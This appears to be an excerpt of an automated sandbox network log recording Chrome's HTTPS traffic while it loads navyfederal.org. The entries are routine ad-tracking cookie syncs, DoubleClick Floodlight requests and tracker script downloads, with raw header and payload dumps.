2024-05-24 22:46:16 UTC	751	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://pippio.com/api/sync?pid=5324&it=1&iv=3682b56b37c245b13599d8d34669a122c7a4852aacd135d8817fd370ab38c43c791426b5417dce21&_=2 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=mYHZbjbUPrb5ybtfXqA+XkcsobKmEo56KFHYSciN12U=; Path=/; Domain=rlcdn.com; Expires=Sat, 24 May 2025 22:46:16 GMT; Secure; SameSite=None Set-Cookie: pxrc=CLixxLIGEgUI6AcQABIFCOhHEAA=; Path=/; Domain=rlcdn.com; Expires=Tue, 23 Jul 2024 22:46:16 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Fri, 24 May 2024 22:46:16 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.6	50109	107.178.240.89	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:16 UTC	826	OUT	GET /user?du=81&mimetype=img&csync=y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-~A HTTP/1.1 Host: pbid.pro-market.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45"; anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"
2024-05-24 22:46:16 UTC	853	IN	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: gapp2 Set-Cookie: anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45:81-y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-%7EA"; Domain=.pro-market.net; Max-Age=15552000; Path=/; Secure; SameSite=None; Set-Cookie: anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"; Domain=.pro-market.net; Max-Age=2592000; Path=/; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 1 Jan 1990 0:0:0 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Type: image/gif Content-Length: 43 Date: Fri, 24 May 2024 22:46:16 GMT Via: 1.1 google Alt-Svc: clear Connection: close
2024-05-24 22:46:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.6	50110	35.244.159.8	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:16 UTC	643	OUT	GET /w/1.0/sd?id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:16 UTC	517	IN	HTTP/1.1 302 Moved Temporarily Set-Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776; Version=1; Expires=Sat, 24-May-2025 22:46:16 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://us-u.openx.net/w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 Date: Fri, 24 May 2024 22:46:16 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.6	50115	107.178.254.65	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	691	OUT	GET /api/sync?pid=5324&it=1&iv=3682b56b37c245b13599d8d34669a122c7a4852aacd135d8817fd370ab38c43c791426b5417dce21&_=2 HTTP/1.1 Host: pippio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:17 UTC	959	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://px.ads.linkedin.com/db_sync?pid=10339&puuid=3682b56b37c245b13599d8d34669a122c7a4852aacd135d8817fd370ab38c43c791426b5417dce21&rand=08577351 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: did=XgpQDvh4nXB4KYZ9; Path=/; Domain=pippio.com; Expires=Sat, 24 May 2025 22:46:17 GMT; Secure; SameSite=None Set-Cookie: didts=1716590777; Path=/; Domain=pippio.com; Expires=Sat, 24 May 2025 22:46:17 GMT; Secure; SameSite=None Set-Cookie: nnls=; Path=/; Domain=pippio.com; Expires=Tue, 23 Jul 2024 22:46:17 GMT; Secure; SameSite=None Set-Cookie: pxrc=CLmxxLIGEgYIgr0rEAA=; Path=/; Domain=pippio.com; Expires=Tue, 23 Jul 2024 22:46:17 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Fri, 24 May 2024 22:46:17 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.6	50121	35.244.159.8	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	707	OUT	GET /w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
2024-05-24 22:46:17 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Fri, 24 May 2024 22:46:17 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.6	50117	146.75.120.157	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	632	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "bbbcf811d8437a575d796a4c1e5d4fad" If-Modified-Since: Thu, 04 Apr 2024 00:26:35 GMT
2024-05-24 22:46:17 UTC	339	IN	HTTP/1.1 304 Not Modified Connection: close Date: Fri, 24 May 2024 22:46:17 GMT Cache-Control: no-cache ETag: "bbbcf811d8437a575d796a4c1e5d4fad" X-Served-By: cache-fra-etou8220098-FRA X-Cache: HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.6	50116	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	935	OUT	GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYqw.oOFQfCI83FLyB0g-FpIlSekH2uM
2024-05-24 22:46:17 UTC	815	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 2884 Connection: close Date: Fri, 24 May 2024 22:46:17 GMT Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:17 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYuQ.xA9TqPEGYFDEH_RdOpK9II9QP7s; Expires=Wed, 18 Jun 2025 22:46:17 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Accept-Ranges: bytes Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 4c691f43539bb56ddcaef755730a6e86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: ZJgfeuaO0guoDRalyl3OpluXjM_SW4Ql7x4D9UrGHokA5t857NZoVQ==
2024-05-24 22:46:17 UTC	2884	IN	Data Raw: 28 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 0a 76 61 72 20 72 61 6e 67 65 4f 62 6a 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 3b 20 76 61 72 20 64 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 20 3d 20 72 61 6e 67 65 4f 62 6a 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 75 61 6c 46 72 61 67 6d 65 6e 74 20 28 27 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 5c 6e 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6c 69 5f 63 61 6c 6c 28 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 76 61 72 20 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 5c 6e 20 20 20 20 20 20 20 20 63 61 63 68 65 5f 62 75 73 74 65 72 20 Data Ascii: (async function () {var rangeObj = document.createRange(); var documentFragment = rangeObj.createContextualFragment ('<script async type="text/javascript">\n function li_call() {\n var l = document.createElement("img");\n cache_buster

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.6	50123	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	1277	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:17 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:17 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.6	50122	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	1406	OUT	GET /activityi;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:17 UTC	1160	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.6	50120	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	1279	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:17 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:17 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.6	50119	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	1408	OUT	GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:17 UTC	1162	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.6	50124	18.172.103.101	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	894	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC If-None-Match: "a60a4e2650f94da6f243b9518761b381" If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT
2024-05-24 22:46:17 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:23 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 07:08:39 GMT ETag: "a60a4e2650f94da6f243b9518761b381" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 10f6ed997c15c1439b3ae1db258c7d16.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P8 X-Amz-Cf-Id: fxblc3PGFernJ2599oEowpt1fOnw6EAjUgygaIzAlVXTFsD8I9Wstw== Age: 71408

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
